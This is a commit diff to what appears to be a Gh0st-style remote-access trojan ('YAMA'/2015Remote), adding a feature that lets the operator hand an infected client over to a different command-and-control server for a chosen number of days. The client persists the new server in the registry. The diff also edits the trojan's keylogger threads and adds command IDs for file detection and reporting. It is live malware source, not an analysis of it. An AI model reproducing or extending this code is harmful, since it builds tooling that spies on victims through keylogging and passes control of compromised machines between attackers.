Feature: support assigning client to another master
This commit is contained in:
@@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "ClientDll.h"
|
#include "ClientDll.h"
|
||||||
|
#include <common/iniFile.h>
|
||||||
|
|
||||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
#define REG_NAME "a_ghost"
|
#define REG_NAME "a_ghost"
|
||||||
@@ -473,6 +474,17 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
ClientApp& app(*(ClientApp*)lParam);
|
ClientApp& app(*(ClientApp*)lParam);
|
||||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||||
|
if (!app.m_bShared)
|
||||||
|
{
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
auto now = time(0);
|
||||||
|
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||||
|
if (now <= valid_to) {
|
||||||
|
auto saved_ip = cfg.GetStr("settings", "master");
|
||||||
|
auto saved_port = cfg.GetInt("settings", "port");
|
||||||
|
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||||
|
}
|
||||||
|
}
|
||||||
auto list = app.GetSharedMasterList();
|
auto list = app.GetSharedMasterList();
|
||||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||||
for (int i=1; i<list.size(); ++i){
|
for (int i=1; i<list.size(); ++i){
|
||||||
|
|||||||
@@ -323,8 +323,24 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SHARE:
|
case COMMAND_SHARE:
|
||||||
|
case COMMAND_ASSIGN_MASTER:
|
||||||
if (ulLength > 2) {
|
if (ulLength > 2) {
|
||||||
switch (szBuffer[1]) {
|
switch (szBuffer[1]) {
|
||||||
|
case SHARE_TYPE_YAMA_FOREVER: {
|
||||||
|
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||||
|
if (v[0].empty() || v[1].empty())
|
||||||
|
break;
|
||||||
|
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetStr("settings", "master", v[0]);
|
||||||
|
cfg.SetStr("settings", "port", v[1]);
|
||||||
|
float days = atof(v[2].c_str());
|
||||||
|
if (days > 0) {
|
||||||
|
auto valid_to = time(0) + days*86400;
|
||||||
|
// overflow after 2038-01-19
|
||||||
|
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||||
|
}
|
||||||
|
}
|
||||||
case SHARE_TYPE_YAMA: {
|
case SHARE_TYPE_YAMA: {
|
||||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||||
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
|
|||||||
@@ -31,8 +31,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
|
|
||||||
m_bIsWorking = true;
|
m_bIsWorking = true;
|
||||||
|
|
||||||
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||||
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||||
SetReady(TRUE);
|
SetReady(TRUE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -243,6 +243,11 @@ enum
|
|||||||
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
SERVER_EXIT=205, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
SERVER_EXIT=205, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_CC, // CC
|
||||||
|
COMMAND_ASSIGN_MASTER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_FILE_DETECT, // <20>ļ<EFBFBD>̽<EFBFBD><CCBD>
|
||||||
|
COMMAND_FILE_REPORT, // <20>ļ<EFBFBD><C4BC>ϱ<EFBFBD>
|
||||||
|
|
||||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
|
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
|
||||||
@@ -460,6 +465,7 @@ enum
|
|||||||
enum {
|
enum {
|
||||||
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
||||||
|
SHARE_TYPE_YAMA_FOREVER = 100, // <20><><EFBFBD>÷<EFBFBD><C3B7><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
inline const char* GetClientType(int typ) {
|
inline const char* GetClientType(int typ) {
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
#define YAMA_PATH "Software\\YAMA"
|
#define YAMA_PATH "Software\\YAMA"
|
||||||
#define CLIENT_PATH "Software\\ServerD11"
|
#define CLIENT_PATH "Software\\ServerD11"
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ö<EFBFBD>ȡ<EFBFBD><C8A1>: <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
class config
|
class config
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
@@ -51,6 +52,7 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ö<EFBFBD>ȡ<EFBFBD><C8A1>: ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
class iniFile : public config
|
class iniFile : public config
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
|
|||||||
Binary file not shown.
@@ -303,6 +303,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
|||||||
m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
|
m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
|
||||||
m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE);
|
m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE);
|
||||||
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
|
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
|
||||||
|
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
|
||||||
|
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
@@ -418,6 +419,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth)
|
ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth)
|
||||||
ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword)
|
ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword)
|
||||||
ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode)
|
ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode)
|
||||||
|
ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -1278,6 +1280,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
||||||
|
|
||||||
// 创建一个新的子菜单
|
// 创建一个新的子菜单
|
||||||
CMenu newMenu;
|
CMenu newMenu;
|
||||||
@@ -2995,3 +2998,29 @@ void CMy2015RemoteDlg::OnToolGenShellcode()
|
|||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineAssignTo()
|
||||||
|
{
|
||||||
|
CInputDialog dlg(this);
|
||||||
|
dlg.Init("转移主机(到期自动复原)", "输入<IP:PORT>地址:");
|
||||||
|
dlg.Init2("天数(支持浮点数):", "30");
|
||||||
|
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
|
||||||
|
return;
|
||||||
|
if (dlg.m_str.GetLength() >= 250) {
|
||||||
|
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (dlg.m_sSecondInput.GetLength() >= 6) {
|
||||||
|
MessageBox("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
|
||||||
|
// 目标主机类型
|
||||||
|
bToken[1] = SHARE_TYPE_YAMA_FOREVER;
|
||||||
|
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
|
||||||
|
bToken[2 + dlg.m_str.GetLength()] = ':';
|
||||||
|
memcpy(bToken + 2 + dlg.m_str.GetLength() + 1, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
|
||||||
|
SendSelectedCommand(bToken, sizeof(bToken));
|
||||||
|
}
|
||||||
|
|||||||
@@ -196,7 +196,7 @@ public:
|
|||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
BOOL isClosed;
|
BOOL isClosed;
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[12];
|
CBitmap m_bmOnline[13];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
bool CheckValid(int trail = 14);
|
bool CheckValid(int trail = 14);
|
||||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
@@ -268,4 +268,5 @@ public:
|
|||||||
afx_msg void OnToolInputPassword();
|
afx_msg void OnToolInputPassword();
|
||||||
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnToolGenShellcode();
|
afx_msg void OnToolGenShellcode();
|
||||||
|
afx_msg void OnOnlineAssignTo();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -389,6 +389,7 @@
|
|||||||
<Text Include="..\..\ReadMe.md" />
|
<Text Include="..\..\ReadMe.md" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||||
|
|||||||
@@ -153,6 +153,7 @@
|
|||||||
<Image Include="res\file\Icon_F.ico" />
|
<Image Include="res\file\Icon_F.ico" />
|
||||||
<Image Include="res\file\Icon_G.ico" />
|
<Image Include="res\file\Icon_G.ico" />
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="..\..\Release\ghost.exe" />
|
<None Include="..\..\Release\ghost.exe" />
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/AssignTo.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/AssignTo.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
Reference in New Issue
Block a user